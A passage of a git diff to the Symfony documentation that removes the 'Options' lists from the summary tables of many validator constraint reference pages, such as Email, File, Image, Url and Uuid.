--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -5,9 +5,6 @@ Validates that a value is a valid `3-letter ISO 4217`_ currency name.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Currency`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CurrencyValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index db55de84dd6..27c954ccfcc 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -6,9 +6,6 @@ be cast into a string) that follows a valid ``YYYY-MM-DD`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Date`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DateValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index c3a9c328932..c62b360c2c8 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -6,10 +6,6 @@ that can be cast into a string) that follows a specific format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `format`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\DateTime`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DateTimeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 73b0a9c88b6..38f98d1a98f 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -5,11 +5,6 @@ Validates that a value is divisible by another value, defined in the options.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleBy`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleByValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 5cbeaeb4523..78a55a071bb 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -6,13 +6,6 @@ cast to a string before being validated.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `checkHost`_
-            - `checkMX`_
-            - `groups`_
-            - `message`_
-            - `mode`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Email`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EmailValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 153d13a3098..aaf9c059e28 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -13,11 +13,6 @@ To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualT
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EqualToValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index fbcbfc9c2b2..e1ab2550919 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -9,11 +9,6 @@ gives you similar flexibility.
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
             or :ref:`property/method <validation-property-target>`
-Options     - :ref:`expression <reference-constraint-expression-option>`
-            - `groups`_
-            - `message`_
-            - `payload`_
-            - `values`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Expression`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index bc93caf83d1..b6a535c89d3 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -18,24 +18,6 @@ form field.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `binaryFormat`_
-            - `disallowEmptyMessage`_
-            - `groups`_
-            - `maxSize`_
-            - `maxSizeMessage`_
-            - `mimeTypes`_
-            - `mimeTypesMessage`_
-            - `notFoundMessage`_
-            - `notReadableMessage`_
-            - `payload`_
-            - `uploadCantWriteErrorMessage`_
-            - `uploadErrorMessage`_
-            - `uploadExtensionErrorMessage`_
-            - `uploadFormSizeErrorMessage`_
-            - `uploadIniSizeErrorMessage`_
-            - `uploadNoFileErrorMessage`_
-            - `uploadNoTmpDirErrorMessage`_
-            - `uploadPartialErrorMessage`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\File`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\FileValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index d27017fdbe5..2f2f39cb65e 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/LessThan`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 8a054e6bbb9..a71afd9aacf 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -7,11 +7,6 @@ the options. To force that a value is greater than another value, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index aa3caeb67f8..93448fc7cf3 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -8,9 +8,6 @@ borders with a reduced risk of propagating transcription errors.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Iban`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IbanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 10f1fb52342..1cae257d71f 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -13,11 +13,6 @@ To force that a value is *not* identical, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalToValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 8ab714db79b..5d40ae48c51 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -13,35 +13,6 @@ of the documentation on this constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowLandscape`_
-            - `allowLandscapeMessage`_
-            - `allowPortrait`_
-            - `allowPortraitMessage`_
-            - `allowSquare`_
-            - `allowSquareMessage`_
-            - `corruptedMessage`_
-            - `detectCorrupted`_
-            - `groups`_
-            - `maxHeight`_
-            - `maxHeightMessage`_
-            - `maxPixels`_
-            - `maxPixelsMessage`_
-            - `maxRatio`_
-            - `maxRatioMessage`_
-            - `maxWidth`_
-            - `maxWidthMessage`_
-            - `mimeTypes`_
-            - `mimeTypesMessage`_
-            - `minHeight`_
-            - `minHeightMessage`_
-            - `minPixels`_
-            - `minPixelsMessage`_
-            - `minRatio`_
-            - `minRatioMessage`_
-            - `minWidth`_
-            - `minWidthMessage`_
-            - `sizeNotDetectedMessage`_
-            - See :doc:`File </reference/constraints/File>` for inherited options
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Image`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ImageValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index daf84496fe8..2ae0cea89f7 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -7,11 +7,6 @@ IPv6 and many other combinations.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `version`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Ip`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IpValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 515f5635172..9c5ebba27af 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -9,9 +9,6 @@ Also see :doc:`IsTrue <IsTrue>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsFalse`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsFalseValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 2bded13311d..7589176aab3 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -9,9 +9,6 @@ Also see :doc:`NotNull <NotNull>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsNull`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsNullValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index aa172153e9f..481f4d8335f 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -8,9 +8,6 @@ Also see :doc:`IsFalse <IsFalse>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsTrue`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsTrueValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index d67f0605144..e1f33fffee7 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -6,13 +6,6 @@ is either a valid ISBN-10 or a valid ISBN-13.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `bothIsbnMessage`_
-            - `groups`_
-            - `isbn10Message`_
-            - `isbn13Message`_
-            - `message`_
-            - `payload`_
-            - `type`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Isbn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsbnValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 87c9468ac12..eec8d06df49 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -6,11 +6,6 @@ Validates that a value is a valid
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `caseSensitive`_
-            - `groups`_
-            - `message`_
-            - `payload`_
-            - `requireHyphen`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Issn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IssnValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 8eafb6c4de6..4c58a76ae61 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -5,8 +5,6 @@ Validates that a value has valid `JSON`_ syntax.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Json`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\JsonValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 70d1e2e51cc..65bbd0ffb81 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -6,9 +6,6 @@ Validates that a value is a valid language *Unicode language identifier*
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Language`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LanguageValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 0d0fe42486d..4aece859f54 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -5,17 +5,6 @@ Validates that a given string length is *between* some minimum and maximum value
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowEmptyString`_
-            - `charset`_
-            - `charsetMessage`_
-            - `exactMessage`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `min`_
-            - `minMessage`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Length`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index abd0aab721c..05379bffc52 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/GreaterThan`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 42ec3e939e5..38906c6af07 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -7,11 +7,6 @@ options. To force that a value is less than another value, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index d3d2dc8225d..a6184df42c6 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -10,10 +10,6 @@ followed by an underscore (``_``) and the `ISO 3166-1 alpha-2`_ *country* code
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `canonicalize`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Locale`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LocaleValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 6d322349da4..4bacaab135b 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -7,9 +7,6 @@ card: before communicating with a payment gateway.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Luhn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LuhnValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index f9850ba8da2..2bad8294cc4 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -11,9 +11,6 @@ want to allow zero as value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index a10bb15ba6a..caddc15cf1d 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -10,9 +10,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Negative` instead.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanOrEqualValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 16e07a3ae0b..20712aed7b5 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -8,11 +8,6 @@ that a value is not equal to ``null``, see the
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowNull`_
-            - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotBlank`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotBlankValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index 28fd604298c..01d2640edd4 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -10,11 +10,6 @@ not included in any of the public data breaches tracked by `haveibeenpwned.com`_
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `skipOnError`_
-            - `threshold`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPassword`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPasswordValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index e1436657ae8..88263202cfe 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -13,11 +13,6 @@ options. To force that a value is equal, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualToValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 66ccb871670..3171bc12bcc 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -13,11 +13,6 @@ the options. To force that a value is identical, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalToValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 2c548b2eb3e..4ab8fc2928e 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -7,9 +7,6 @@ constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotNull`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotNullValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index d5e78ba387f..5beab44d69e 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -11,9 +11,6 @@ want to allow zero as value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Positive`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index c2724c89753..175f2a44cbe 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -10,9 +10,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Positive` instead.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 5c148c78b0f..50342bdd3c7 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -5,16 +5,6 @@ Validates that a given number or ``DateTime`` object is *between* some minimum a
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `invalidMessage`_
-            - `max`_
-            - `maxMessage`_
-            - `maxPropertyPath`_
-            - `min`_
-            - `minMessage`_
-            - `minPropertyPath`_
-            - `notInRangeMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Range`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index c3b9a9bd5c6..be8a1361d4d 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -5,13 +5,6 @@ Validates that a value matches a regular expression.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `htmlPattern`_
-            - `match`_
-            - `message`_
-            - `pattern`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Regex`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RegexValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index a8e362d22dc..d8c41bf00e0 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -6,9 +6,6 @@ be cast into a string) that follows a valid ``HH:MM:SS`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Time`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TimeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 3725038f0d8..14d18d88bf4 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -9,12 +9,6 @@ Validates that a value is a valid timezone identifier (e.g. ``Europe/Paris``).
 
 ==========  ======================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `countryCode`_
-            - `groups`_
-            - `intlCompatible`_
-            - `message`_
-            - `payload`_
-            - `zone`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Timezone`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TimezoneValidator`
 ==========  ======================================================================
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 99449d12999..72c71f4380f 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -8,8 +8,6 @@ constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
-Options     - `payload`_
-            - :ref:`traverse <traverse-option>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Traverse`
 ==========  ===================================================================
 
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 17ee98fec78..7c7137c4734 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -7,10 +7,6 @@ option to validate this.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - :ref:`type <reference-constraint-type-type>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Type`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 9d9cc0ffed2..56a6c936d6e 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -19,9 +19,6 @@ are considered different elements (a string and an integer, respectively).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Unique`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UniqueValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index f96d6d91b47..636b06d21ae 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -17,15 +17,6 @@ using an email address that already exists in the system.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
-Options     - `em`_
-            - `entityClass`_
-            - `errorPath`_
-            - `fields`_
-            - `groups`_
-            - `ignoreNull`_
-            - `message`_
-            - `payload`_
-            - `repositoryMethod`_
 Class       :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntity`
 Validator   :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntityValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index ac230890a9a..ed06d6f22fd 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -5,14 +5,6 @@ Validates that a value is a valid URL string.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `checkDNS`_
-            - `dnsMessage`_
-            - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `protocols`_
-            - `relativeProtocol`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Url`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UrlValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 208281df216..77af3e44a39 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -17,9 +17,6 @@ password, but needs to enter their old password for security.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`
 Validator   :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 9dbde3b3ce5..1eb93fd4407 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -8,12 +8,6 @@ UUID versions can also be restricted using a list of allowed versions.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `strict`_
-            - `versions`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Uuid`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UuidValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 49846d3fb39..2e01910dee5 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -7,9 +7,6 @@ an object and all sub-objects associated with it.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `payload`_
-            - `traverse`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Valid`
 ==========  ===================================================================
 

From 8700a11c079dfb65a842bfc92be792e5aa06b737 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
